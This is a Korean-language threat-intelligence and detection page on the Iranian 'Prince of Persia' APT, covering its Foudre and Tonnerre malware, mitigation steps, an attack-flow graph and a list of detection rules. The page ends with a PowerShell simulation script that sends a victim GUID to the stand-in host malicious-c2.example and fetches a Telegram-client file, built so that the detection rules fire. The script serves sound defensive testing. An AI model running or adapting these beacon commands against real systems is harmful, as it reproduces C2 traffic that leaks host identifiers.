페르시아의 왕자: 이란의 APT 활동에 대한 10년 회고
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
이 보고서는 ‘페르시아 왕자’로 불리는 이란 국가 연계 APT 클러스터의 프로필을 포착하고, 2023년부터 2025년까지 관찰된 활동에 중점을 두어 지난 10년간의 진행 상황을 추적합니다. 운영자들은 Foudre, Tonnerre, MaxPinner, Rugissement, Deep Freeze와 같은 맞춤형 악성코드 패밀리를 사용하여 스파이 활동과 체계적인 데이터 도난을 지원합니다. 최근의 반복에서는 내성 및 은폐를 개선하기 위해 도메인 생성 알고리즘, Telegram 기반 명령 및 제어, 암호화된 SFX 페이로드를 도입했습니다. 대상은 여러 지역의 중요 인프라 및 반체제 네트워크에 걸쳐 있습니다.
조사
SafeBreach 연구원들은 2019년부터 그룹의 작전을 추적하며 새로운 샘플을 수집하고, C2 아키텍처를 문서화하고, DGA 논리를 분석했습니다. 보호된 페이로드를 해독하고, Telegram 봇 자격증명을 추출하여 변종 출시 타임라인을 구축했습니다. 연구는 별도의 생산 및 테스트 인프라를 강조하며 Excel 기반 감염 체인에 연결된 파일 드롭 행동을 자세히 설명합니다. 손상 지표는 악성코드 해시, 도메인, URL에서 수집되었습니다.
완화
확인된 DGA 패턴의 DNS 활동을 모니터링하고, 알려진 악성 도메인을 차단하며, Telegram 봇 관련 트래픽을 제한하거나 검사하십시오. 참조된 악성코드 파일 이름 및 로더 DLL 아티팩트에 대한 검출을 추가하고 DNS 모니터링/싱크홀링을 사용하여 회전 인프라를 드러나게 하십시오. 응용 프로그램 허용 목록을 강제하고 매크로를 제한하여 Office 보안을 강화하여 초기 액세스 가능성을 감소시키십시오.
대응
어떤 지표라도 발견되면 영향을 받은 시스템을 격리하고 휘발성 증거를 수집하며 드롭된 파일과 관련 레지스트리 경로에 대해 표적 포렌식을 수행하십시오. 모든 연관된 도메인 및 IP 주소를 차단하고, 노출된 Telegram 봇 토큰을 교체하며, 영향받은 계정의 자격증명을 재설정하십시오. 맞춤형 로더 DLL 잔여물 및 암호화된 SFX 페이로드를 추적하여 완전한 제거를 보장하십시오.
graph TB %% 클래스 정의 섹션 classDef action fill:#99ccff classDef malware fill:#ffcc99 classDef tool fill:#ffe699 classDef file fill:#ccffcc classDef process fill:#ffdddd classDef operator fill:#ff9900 %% 노드 정의 action_initial[“<b>액션</b> – <b>T1566.001 스피어피싱 첨부파일</b><br/>피해자가 악성 Excel 파일을 수신”] class action_initial action file_excel[“<b>파일</b> – 매크로가 포함된 악성 Excel<br/>ccupdate.tmp를 드롭”] class file_excel file malware_foudre[“<b>멀웨어</b> – Foudre (ccupdate.tmp)<br/>암호화된 SFX 페이로드”] class malware_foudre malware process_macro[“<b>프로세스</b> – 매크로 실행”] class process_macro process action_execution[“<b>액션</b> – <b>T1204.002 사용자 실행: 악성 파일</b><br/>피해자가 Excel을 열음”] class action_execution action action_obfuscation[“<b>액션</b> – <b>T1027.009 임베디드 페이로드</b><br/>페이로드가 암호화 및 위장됨”] class action_obfuscation action file_camDLL[“<b>파일</b> – MP4 비디오로 위장된 DLL”] class file_camDLL file action_deobfuscate[“<b>액션</b> – <b>T1140 난독화 해제/파일 디코딩</b><br/>하드코딩된 비밀번호로 페이로드를 복호화”] class action_deobfuscate action process_decrypt[“<b>프로세스</b> – 복호화 루틴”] class process_decrypt process action_dga[“<b>액션</b> – <b>T1568.002 동적 해석 (DGA)</b><br/>도메인 LOS1, FTS1 생성”] class action_dga action process_dga[“<b>프로세스</b> – 도메인 생성 알고리즘”] class process_dga process action_webc2[“<b>액션</b> – <b>T1102.002 웹 서비스 양방향 통신</b><br/>GUID, 버전, 사용자 정보를 포함한 HTTP GET”] class action_webc2 action process_http[“<b>프로세스</b> – HTTP 요청/응답”] class process_http process action_telegram[“<b>액션</b> – C2에 Telegram 봇 사용”] class action_telegram action file_tga[“<b>파일</b> – tga.adr (Telegram 봇 클라이언트)”] class file_tga file process_telegram[“<b>프로세스</b> – 봇 토큰을 사용하여 Telegram API를 통해 통신”] class process_telegram process action_exfil[“<b>액션</b> – <b>T1041 C2 채널을 통한 데이터 유출</b><br/>탈취된 파일을 C2 디렉터리에 업로드”] class action_exfil action file_exfil[“<b>파일</b> – 인코딩된 파일명, 암호화된 콘텐츠”] class file_exfil file action_data_obfusc[“<b>액션</b> – <b>T1001 데이터 난독화</b><br/>인코딩된 이름과 암호화를 사용하여 유출 데이터를 저장”] class action_data_obfusc action %% 흐름을 나타내는 연결 action_initial u002du002d>|전달| file_excel file_excel u002du002d>|드롭| malware_foudre malware_foudre u002du002d>|다음을 통해 실행| process_macro process_macro u002du002d>|다음으로 이어짐| action_execution action_execution u002du002d>|트리거| action_obfuscation action_obfuscation u002du002d>|사용| file_camDLL action_obfuscation u002du002d>|다음으로 이어짐| action_deobfuscate action_deobfuscate u002du002d>|실행| process_decrypt process_decrypt u002du002d>|생성| malware_foudre malware_foudre u002du002d>|시작| action_dga action_dga u002du002d>|실행| process_dga process_dga u002du002d>|해결됨| action_webc2 action_webc2 u002du002d>|사용| process_http process_http u002du002d>|다운로드| file_tga file_tga u002du002d>|활성화| action_telegram action_telegram u002du002d>|사용| process_telegram process_telegram u002du002d>|다음을 통해 유출| action_exfil action_exfil u002du002d>|다음으로 저장| file_exfil file_exfil u002du002d>|적용| action_data_obfusc
공격 흐름
탐지
명령 및 제어 채널로서의 Telegram 남용 가능성 (dns_query 경유)
보기
타사 서비스/도구를 통한 데이터 유입/유출/C2 가능성 (프록시 경유)
보기
대규모 최상위 도메인(TLD) DNS 요청으로 인한 의심스러운 명령 및 제어 (dns 경유)
보기
의심스러운 taskkill 실행 (cmdline 경유)
보기
탐지를 위한 IOCs (HashSha256): DEC 18, 2025 페르시아 왕자: 현미경으로 본 이란 국가 주도 APT 캠페인 활동 2부
보기
탐지를 위한 IOCs (SourceIP): DEC 18, 2025 페르시아 왕자: 현미경으로 본 이란 국가 주도 APT 캠페인 활동
보기
탐지를 위한 IOCs (HashSha256): DEC 18, 2025 페르시아 왕자: 현미경으로 본 이란 국가 주도 APT 캠페인 활동 1부
보기
탐지를 위한 IOCs (HashMd5): DEC 18, 2025 페르시아 왕자: 현미경으로 본 이란 국가 주도 APT 캠페인 활동
보기
탐지를 위한 IOCs (DestinationIP): DEC 18, 2025 페르시아 왕자: 현미경으로 본 이란 국가 주도 APT 캠페인 활동
보기
Excel 파일 내에 내장된 실행 파일을 통한 Foudre v34 감염 탐지 [Windows 프로세스 생성]
보기
Foudre 및 Tonnerre C2 통신 탐지 [Windows 네트워크 연결]
보기
시뮬레이션 실행
전제 조건: Telemetry & Baseline 사전 준비 검사 통과해야 함.
이유: 이 섹션은 탐지 규칙을 트리거하도록 설계된 적의 기술(T1584.005)의 정확한 실행을 상세히 설명합니다. 명령과 서사는 식별된 TTP를 직접 반영하고 탐지 논리가 기대하는 정확한 텔레메트리를 생성해야 합니다.
-
공격 서사 및 명령:
위협 행위자는 악성 도메인을 준비했습니다malicious-c2.exampleFoudre/Tonnerre C2 서버를 호스팅합니다. 피해자의 기기에 있는 공격자의 페이로드는 두 개의 HTTP GET 요청을 수행합니다:- 경로를 사용하여 Foudre C2 엔드포인트에 피해자의 GUID를 전송합니다
/1/?c=<GUID>. - 경로를 사용하여 Tonnerre 백도어를 통해 Telegram의 API에 접속합니다
/t/tga.adr.
두 요청 모두 HTTP를 통해 이루어지며 (프록시 로그를 단순화하기 위해) 일반적인 사용자 에이전트를 포함하여 일반 트래픽에 섞입니다. 이 작업들은 Sigma 규칙이 감시하는 정확한 필드를 생성합니다 (
request_method=GET,url목표 하위 문자열을 포함). - 경로를 사용하여 Foudre C2 엔드포인트에 피해자의 GUID를 전송합니다
-
회귀 테스트 스크립트:
# ------------------------------------------------------------ # Foudre & Tonnerre C2 통신 시뮬레이션 (Windows) # ------------------------------------------------------------ # 1. 피해자 GUID 정의 (실제 감염에서는 레지스트리에서 읽을 수 있음) $guid = (New-Guid).Guid # 2. 악성 C2 호스트 정의 (테스트를 위해 제어하는 주소로 대체) $c2Host = "http://malicious-c2.example" # 3. GUID를 Foudre C2 엔드포인트로 전송 $foudreUrl = "$c2Host/1/?c=$guid" Write-Host "[*] Foudre C2에 GUID 전송: $foudreUrl" Invoke-WebRequest -Uri $foudreUrl -Method GET -UseBasicParsing # 4. Tonnerre 백도어를 통해 Telegram API 접속 $telegramUrl = "$c2Host/t/tga.adr" Write-Host "[*] Telegram API 엔드포인트 접속: $telegramUrl" Invoke-WebRequest -Uri $telegramUrl -Method GET -UseBasicParsing Write-Host "[+] 시뮬레이션 완료. SIEM에서 경고를 확인하십시오."스크립트는 자체 포함되어 있으며, 구성된 프록시를 통해 트래픽을 라우팅하는 Windows 호스트에서 실행할 경우 Sigma 규칙의
url|contains조건에 일치하는 두 개의 로그 항목을 생성합니다. -
정리 명령:
# 임시 네트워크 연결 제거 (프록시가 지속 세션을 생성하는 경우에만 해당) # 여기서는 악성 호스트의 지속 해상을 방지하기 위해 단순히 DNS 캐시를 지웁니다. ipconfig /flushdns Write-Host "[*] 정리 완료."